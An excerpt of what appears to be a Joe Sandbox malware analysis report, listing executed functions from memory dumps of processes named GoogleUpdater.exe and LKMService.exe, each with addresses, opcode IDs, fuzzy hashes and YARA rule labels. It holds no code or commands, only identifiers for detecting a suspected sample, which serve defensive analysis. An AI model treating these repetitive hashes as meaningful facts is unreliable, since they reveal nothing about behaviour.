Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2240000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 160bdd95444c71a2164114b1b3ab367397f28d1d7590e5928eadcb9f23b4169e
Instruction ID: 70caf9028399da86805be671f6942cb30a1f0f489f7e53daa7557131f8e0877c
Opcode Fuzzy Hash: 160bdd95444c71a2164114b1b3ab367397f28d1d7590e5928eadcb9f23b4169e
Instruction Fuzzy Hash: 811119343104108FC744EB3DD598A1E7BE6FFC9A15B6544A8E50ACB3B6DE71DC018B91

Function 02240989 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3530447782.0000000002240000.00000040.00000800.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2240000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 190ae847315271ae39585038cf3fa08dbc01d706913e8c883a41d6e26d13995c
Instruction ID: 261fd67487ca75ae38b4639657540f58b8b9989d8b9ba68def0900ef16bab706
Opcode Fuzzy Hash: 190ae847315271ae39585038cf3fa08dbc01d706913e8c883a41d6e26d13995c
Instruction Fuzzy Hash: 0B112E345402099FCB06FF64E9E4A59BB79FB84314F1186A9D505C7279EB309949CB80

Function 02240878 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3530447782.0000000002240000.00000040.00000800.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2240000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f912941411b274717b534d1ca4b0b14489e0da181fefb013c1c69820516e5500
Instruction ID: 3c1beebd78ec96ab213b9a4159f84ff4327a3ff86ce8c2ed4e55bf3692870661
Opcode Fuzzy Hash: f912941411b274717b534d1ca4b0b14489e0da181fefb013c1c69820516e5500
Instruction Fuzzy Hash: D9018032D0474A9BCB019BB9D8004DDFFB6EECB310F1686A6D551B7161EB70258EC7A1

Function 02240CC0 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3530447782.0000000002240000.00000040.00000800.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2240000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db1018d529e28e602069c7f4c22acfe8f684e0060fc9de25337e9abc43b3bef
Instruction ID: 6115b6f5b139c7f45f5b38e3907d550804e3b5a43f1dac664c092b464fa6a1fb
Opcode Fuzzy Hash: 2db1018d529e28e602069c7f4c22acfe8f684e0060fc9de25337e9abc43b3bef
Instruction Fuzzy Hash: 6801B532D0475A9BCB019BB9D8005DDFBB6EFCA310F168692D511B7161EB70258AC7A1

Function 0083D049 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3529742801.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_83d000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3de35a938d439f9663b00021ddb124de07edce5a34ba263791c24aee53845008
Instruction ID: 364ee01ec82a0adae6bf520dd7eb53fb5ad648bd9ad56405e1536bd1a2c577bb
Opcode Fuzzy Hash: 3de35a938d439f9663b00021ddb124de07edce5a34ba263791c24aee53845008
Instruction Fuzzy Hash: 78012B710087049AE7249A25ED84767FFDCFFD1B24F18C52AEC088E286C279D841C6F2

Function 02240998 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3530447782.0000000002240000.00000040.00000800.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2240000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b7f04fc688b8d72347adbf84ae1ebd0b5f6eb1dd8613f74812f29a1d62a9feb
Instruction ID: 7015b5ddcf2885a02c6baa68608a6b2f01f74c3c87353358ee4b30a037728a8f
Opcode Fuzzy Hash: 0b7f04fc688b8d72347adbf84ae1ebd0b5f6eb1dd8613f74812f29a1d62a9feb
Instruction Fuzzy Hash: 2F11E838940119DFCB09FF64E9E8A4DBBB9FB84314F218669D505D7279EB30A949CF80

Function 02240D48 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3530447782.0000000002240000.00000040.00000800.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2240000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07f481a670df38c301c3703ba87f5320b10aa47fb5e56de9b50cd9bbd096c3f6
Instruction ID: ea4380318daf1e31ee4a68fe7037527aeea1f0d5f60b690f5f59415f0f8bf017
Opcode Fuzzy Hash: 07f481a670df38c301c3703ba87f5320b10aa47fb5e56de9b50cd9bbd096c3f6
Instruction Fuzzy Hash: 7B01443191438A8BCB0A9B70C4107EEBFF58F46300F09456ACC42AB286DE70690BC792

Function 02240900 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3530447782.0000000002240000.00000040.00000800.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2240000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2461b49b7f5785e040bcf76e642138c836d017b78d46cb92bce5d03b6bf7acc5
Instruction ID: bd23b3ad5d141f3d64a03db025b58e0cce46198be366bafe290b688cac18880d
Opcode Fuzzy Hash: 2461b49b7f5785e040bcf76e642138c836d017b78d46cb92bce5d03b6bf7acc5
Instruction Fuzzy Hash: DB017D71914389ABDB059B74C41169FBFF54F85300F04482AD442A7291DF705606CBC3

Function 02240CD0 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3530447782.0000000002240000.00000040.00000800.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2240000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 770c3c80b5c9b9ac7c129186090d1bdafefce6659e458ba96eaf88ef7ee31353
Instruction ID: bf04a0c414ebfa09d1b12e1c7776bf3c9027a5e9fc36eca230a1c4e8e4439511
Opcode Fuzzy Hash: 770c3c80b5c9b9ac7c129186090d1bdafefce6659e458ba96eaf88ef7ee31353
Instruction Fuzzy Hash: 17016D32D1061A97CF00DBB9D8004DEF7B6EFCA310F158666D111B7164EB70259ACBA1

Function 0083D048 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3529742801.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_83d000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38bdb1ef614e8e94f511262f5048c210560fbf540155dcc5145ac64b0d19478f
Instruction ID: d57ab24767cc5d8b1e4c874d904aa284dc1ae03b2ee8825a1c48843367050036
Opcode Fuzzy Hash: 38bdb1ef614e8e94f511262f5048c210560fbf540155dcc5145ac64b0d19478f
Instruction Fuzzy Hash: 77F096714097449EE7148A16DCC4B62FFA8FF91734F18C45AED484F286C27AAC45CAB1

Function 02240910 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3530447782.0000000002240000.00000040.00000800.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2240000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3aa49d70d27d1663ce7eaa09dbb978eeafdf33d31c75d9140e49481d16db68b3
Instruction ID: 13f47a42a9c0bba9c074f0e72056e3751a4732386bc329dfa225720e5b32bb01
Opcode Fuzzy Hash: 3aa49d70d27d1663ce7eaa09dbb978eeafdf33d31c75d9140e49481d16db68b3
Instruction Fuzzy Hash: 0AF08272E201099BEF18DBA4C555AEFBFB69F84700F058926D503B7254DEB06A06C7D2

Function 02240848 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3530447782.0000000002240000.00000040.00000800.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2240000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b0774bb58ffbf9d942cc6e9aed6f3e0cd1a03718ff0e94a7e5d96bd868143d1
Instruction ID: d7114d4d6222c34eb2c27c38b41920c1a6857fcafe2f4d90c89d453b72e2b7f2
Opcode Fuzzy Hash: 6b0774bb58ffbf9d942cc6e9aed6f3e0cd1a03718ff0e94a7e5d96bd868143d1
Instruction Fuzzy Hash: CDD01772905249AFDB05CFA4CA0575D7BB8FB05240F6504A5E448C7215DA319E51C791

Analysis Process: LKMService.exePID: 6576, Parent PID: 2580COMMON

Executed Functions

Function 01160DE8 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5564b6ef658be230cd0b3bb8496972991277bffc890c401b74eff7471ada466f
Instruction ID: a2957eeaedb5455c732153961bb54072b188bc51a37858907041edd85bd6eb85
Opcode Fuzzy Hash: 5564b6ef658be230cd0b3bb8496972991277bffc890c401b74eff7471ada466f
Instruction Fuzzy Hash: B6F1E375A002488FDB05DFA8C584ADCBBF6EF89320F199194E445EB366DB31AD85CF60

Function 01161509 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f47f4bd9089d7003697dd90b0d0eeec7f246853c9ece19e1e588140cbd497c
Instruction ID: 811451214f629736f0c90595aecb6b6b1358bfdd4d25f51d6e1f1652dc031672
Opcode Fuzzy Hash: 97f47f4bd9089d7003697dd90b0d0eeec7f246853c9ece19e1e588140cbd497c
Instruction Fuzzy Hash: EDF0F63124C3806FC31257759D568AE7FA2DDC225030445AFE09ADBA96DE64AC0A8B92

Function 01160DD8 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca2c505c61ee94a51c339ba91357289d692e3a537aeb3bc89a21a4423752998b
Instruction ID: 64399d164931e0ae8259cd376aaea7d8188a9eaff1dfdc2b9a10ac66b4f0796e
Opcode Fuzzy Hash: ca2c505c61ee94a51c339ba91357289d692e3a537aeb3bc89a21a4423752998b
Instruction Fuzzy Hash: 0FC10275A042488FDB05CFA8C584ADCBBF6EF89320F198594E845EB366C731AD85CF60

Function 01160B28 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f99286d7e426644baa90382d467f2edca4cdd73d92af2fff52af5354ba1b7a1
Instruction ID: 28ababcfad204507ce4528da1ca9ebd5faeeca4453e57b279ae48a49d75e21a1
Opcode Fuzzy Hash: 5f99286d7e426644baa90382d467f2edca4cdd73d92af2fff52af5354ba1b7a1
Instruction Fuzzy Hash: 4841E270A047548FDB2ACF28D904A9EBBF5BF8C300B14469AE4C6EB2A5D731A854CB11

Function 01160A60 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cecdd5ce685bc471a502dddaac405c96cc5cb27c562a805c3e2f7cd19a47c4a5
Instruction ID: 4b1b69b1f69b413843c0f3fb7f0560b3b580437c013e5c24c278e8f7d3f28807
Opcode Fuzzy Hash: cecdd5ce685bc471a502dddaac405c96cc5cb27c562a805c3e2f7cd19a47c4a5
Instruction Fuzzy Hash: CD215C343001009FC745EB39D858E2E3BE6FF8D61476644A9E44ACF3B6CE25DC069B52

Function 01160A70 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00e063228d409e35cd2d47468fb448b9575aa35966eacf99b5c2e88db4782f83
Instruction ID: 03519510e7ab2eb6db25118171dd7443540168fff34621dc4782fa3b0f8e5c41
Opcode Fuzzy Hash: 00e063228d409e35cd2d47468fb448b9575aa35966eacf99b5c2e88db4782f83
Instruction Fuzzy Hash: AB1149353000149FC744EB39D858A2E7BE6FFCDA14B6544A9E50ACB3B6CE71EC018B91

Function 01160E79 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7406f942535001e91abae0bfa3474676bbbfe623c13fc93c919f526b107fe55d
Instruction ID: 787140c53eb5387373bdc19a444ce213472c8759b93f894dbb422e45c33ebde0
Opcode Fuzzy Hash: 7406f942535001e91abae0bfa3474676bbbfe623c13fc93c919f526b107fe55d
Instruction Fuzzy Hash: AD219D35A002188FDB05CF98D9849DCBBF6FF8D220F189095E805BB266DB31AD94CF60

Function 01160CC0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df1d50769933322e99dc4c39f8a7ee8f68b5b585fd77599629569c4ebc872dc5
Instruction ID: 2334dbe84409e2346e12db92e3fa7b8d96ce829fb43ce3abbcc19def8b8a5516
Opcode Fuzzy Hash: df1d50769933322e99dc4c39f8a7ee8f68b5b585fd77599629569c4ebc872dc5
Instruction Fuzzy Hash: E3118E72D0574A9BCB01CFB9D8404DDFBB5EF99310F168A66E011B7260E770258ACB61

Function 01160989 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3450b771c27530b5ead8db2785d09f9bcb9931f8aee3846fd1f3eb09edce5fad
Instruction ID: d6500c25e9ccf316f5f0782963f959f40ab084d8abd5e1f533844bea1ff43f25
Opcode Fuzzy Hash: 3450b771c27530b5ead8db2785d09f9bcb9931f8aee3846fd1f3eb09edce5fad
Instruction Fuzzy Hash: F711193854014A9FCB06FF74E999A5DBF71FB48300B1246AAD805D7279EB30AD49CB80

Function 01160878 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a045ee40c1a75cd3f0d2f532545bcc13773e7c6d06bbaa872fbc35570b6f61b8
Instruction ID: 1cd8c9597122d84690e879904d1b8233cc996193384aac37a43994f7fe8b8b68
Opcode Fuzzy Hash: a045ee40c1a75cd3f0d2f532545bcc13773e7c6d06bbaa872fbc35570b6f61b8
Instruction Fuzzy Hash: EC019232D5464A9BCB01DBB8D8104DDFBB2EFCA310F1686A6D151B71A0E770258ECBA1

Function 00FBD1C5 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243165749.0000000000FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fbd000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 075234d066d405c72775a16fafa244069e4b230cc1f57715b0d5dc10ef831df7
Instruction ID: 0b46545ad796311bdae18205c657003a84c4279f1a9fdd133d31cdbf1dc59135
Opcode Fuzzy Hash: 075234d066d405c72775a16fafa244069e4b230cc1f57715b0d5dc10ef831df7
Instruction Fuzzy Hash: AE01DB314093809AE7205A1BDD847A7FFECEF45334F28C46AED094A286D679D841DE73

Function 01160CD0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 079989691a9eb04357bdf51e051dc6a794196dc00eb3e8f22e34042ef2deeda5
Instruction ID: 648f4699e248b1467f15869469086fb1b4cfd098c86395656582fadb2694a18f
Opcode Fuzzy Hash: 079989691a9eb04357bdf51e051dc6a794196dc00eb3e8f22e34042ef2deeda5
Instruction Fuzzy Hash: 99012132D1060EABCB00DFA9D9404DDFBB9EFD9320F158666E115B7250EB74259ACB60

Function 01160998 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a39bdeff3a729c70e0e16aa64b438d2cac819246bb071082cbe586152b15d42
Instruction ID: eabe5359721b5ed3352bb012120ea8ba65b1b9df8ab276e8c4b0f881f9eab8ba
Opcode Fuzzy Hash: 6a39bdeff3a729c70e0e16aa64b438d2cac819246bb071082cbe586152b15d42
Instruction Fuzzy Hash: 4F11E838540149DFCB09FF64E99CA4DBBB1FB48304B1246AAD805D7279EB30AD49CF80

Function 01160D51 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91023d32c1af446dcb7a9efe8af4fd1cd548fe581c5fe194d80869acdb456bcf
Instruction ID: a12b37143fe63a2599fd7d374eececeb7126347e7e0af35e81fc4954f30d8c9d
Opcode Fuzzy Hash: 91023d32c1af446dcb7a9efe8af4fd1cd548fe581c5fe194d80869acdb456bcf
Instruction Fuzzy Hash: FDF02272E151499FCB199B74C8A5AEFBFB64F88300F05852AD042AB280DEB0190BC783

Function 01160900 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9e404bc1f1dfd69a47856dac3f8012a4aa7dbd88a52b5e757ae8620215db5fd
Instruction ID: 4941077c1a90f7e799d78e89d36a88f595b9bee083f119bd530ca87343faa7d8
Opcode Fuzzy Hash: a9e404bc1f1dfd69a47856dac3f8012a4aa7dbd88a52b5e757ae8620215db5fd
Instruction Fuzzy Hash: 1BF0C831A141459BDB19DB74C5659EFBFB65F84300F05892EE042A7290DE705A07CBC3

Function 00FBD1C4 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243165749.0000000000FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_fbd000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca49ffab0b3e8c95a28dea104442edf0bd8e735a411f1fa7a7ac3633b25d5031
Instruction ID: 203d3aebd28edf93de111c6f91dea1e424961117c06eda6705e2871085eb4347
Opcode Fuzzy Hash: ca49ffab0b3e8c95a28dea104442edf0bd8e735a411f1fa7a7ac3633b25d5031
Instruction Fuzzy Hash: 1EF06271409384AEE7108E16D984BA3FFA8EB55734F28C45AED484A286D2799844DE71

Function 01160910 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e33a23ce7618f2f04f4380dffd9f41f6dd2b1262a8255e25fa358f765af241bc
Instruction ID: 2357558f88f27938336fa36cc375373b151ce37162d387f34aceaff9946ff773
Opcode Fuzzy Hash: e33a23ce7618f2f04f4380dffd9f41f6dd2b1262a8255e25fa358f765af241bc
Instruction Fuzzy Hash: ABF08972D1010997DF18DB64C555AEFBFBA5F88300F054529D406B7254EFB16906C7D2

Function 01160838 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3f4f856ffdc3e9fcbce01d1e7eec6a242377e596aea01d250f30ad8fc88afa3
Instruction ID: 9beb3f3904d65fa9cf9a40f8e6e19825257127d05ffee42e60419d2eeac752c2
Opcode Fuzzy Hash: d3f4f856ffdc3e9fcbce01d1e7eec6a242377e596aea01d250f30ad8fc88afa3
Instruction Fuzzy Hash: 22E092B180A385AFD742CB78C9256AC7FB0AB02140F5701CAE0C4CB552D6314D26C742

Function 01161798 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b89091e334e8ddd023c856d92065d28665baa39a174640ac9259635396c42f
Instruction ID: 7f2cab7223ef323f180771ed5587db899bd50cd3b1ae531cf07248e5d155b21e
Opcode Fuzzy Hash: 62b89091e334e8ddd023c856d92065d28665baa39a174640ac9259635396c42f
Instruction Fuzzy Hash: ACD0C732B003159BCB2DA6B8680016A32DD9BC866AB0004BAA20ECB240EA37C8108284

Function 01161788 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 018ccb07bd4f3493ad94e0ae671167b12d2686b62a6c59ee33bbfa5be910efe7
Instruction ID: 90eec739d531d013ed0cd109f3f7d06e97e64b2ddc1d9ad04d2e8061a50db644
Opcode Fuzzy Hash: 018ccb07bd4f3493ad94e0ae671167b12d2686b62a6c59ee33bbfa5be910efe7
Instruction Fuzzy Hash: 5DD0A73251D3900EC70F81741F210553F6D4D8605430A04FBD544CA673E66584189791

Function 01160848 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2243365641.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_LKMService.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6003fde4712f8a80bce25f3e82a2f146dd8406ceac9dc84099c096afefe01622
Instruction ID: 969159051b78b47be2944f30c5c42b5b44f487be46e42de7577e00264832998b
Opcode Fuzzy Hash: 6003fde4712f8a80bce25f3e82a2f146dd8406ceac9dc84099c096afefe01622
Instruction Fuzzy Hash: 40D01772D05208AFEB01CFA8CA0576D7BB8BB05240F660495E448C7255DA319E60D791

Analysis Process: GoogleUpdater.exePID: 5316, Parent PID: 2580COMMON

Executed Functions

Function 00F41509 Relevance: 1.5, Strings: 1, Instructions: 298COMMON

Download Yara Rule

Strings

li, xrefs: 00F4172F

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID: li
API String ID: 0-2835169027
Opcode ID: 9d067a72d7736d33e07753cffdc1c7a782d3962b50b252a312dcf3fcb96206c2
Instruction ID: 0740b1557c3b0bc5ca93bbc03cf6215d60c1b74666f047d77930f7fe518045bb
Opcode Fuzzy Hash: 9d067a72d7736d33e07753cffdc1c7a782d3962b50b252a312dcf3fcb96206c2
Instruction Fuzzy Hash: 68F0F63120C3C45FC302A77958654AE7FA2CDC228030445BFE44AEB797DE65AD0A87D2

Function 00F40DE8 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 830ea4b955eca3685852632e08cf590f4ffa3c492772b12ef01de4e5ec97ab79
Instruction ID: 36956ef58b8f21f52ae48d21242a812d3e8c43e5c98baabeb3f8337c5a94b886
Opcode Fuzzy Hash: 830ea4b955eca3685852632e08cf590f4ffa3c492772b12ef01de4e5ec97ab79
Instruction Fuzzy Hash: 5FF1D135A002488FDB05DFA8C584ADDBBF2BF49320F199195E845BB366DB31AD85CF60

Function 00F40B28 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5d7bc184db3d33a533bdb48f8a799dc34c67dfc9a14aba707861a1050ac8a8a
Instruction ID: 7ccd833a0574b2293a8766217bfbc57c40635e9aa208f41645e557a5af1eec4e
Opcode Fuzzy Hash: b5d7bc184db3d33a533bdb48f8a799dc34c67dfc9a14aba707861a1050ac8a8a
Instruction Fuzzy Hash: 7041D471A04355CFDF26CF25D9406DEBBF2BF89350B14466AE886EB6A5DB30A804CB50

Function 00F40A60 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f799ffe55b43e715014a1543582e24702ae620cc7e5f12335ab3e7c11322156a
Instruction ID: 8e9a99a476767289a2b772ff2213c021f80817630573d43d6d74af044d0e1cf2
Opcode Fuzzy Hash: f799ffe55b43e715014a1543582e24702ae620cc7e5f12335ab3e7c11322156a
Instruction Fuzzy Hash: 88215C343101118FC745EB39D858A2E3BF2FFCA65076644A9E50ADF3B6CE65DC058B92

Function 00F40A70 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2253785098.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f40000_GoogleUpdater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9b3e2a0223ccc65784ffcb129e1ae4c9c25d26c2469975999f93b04a1b39018
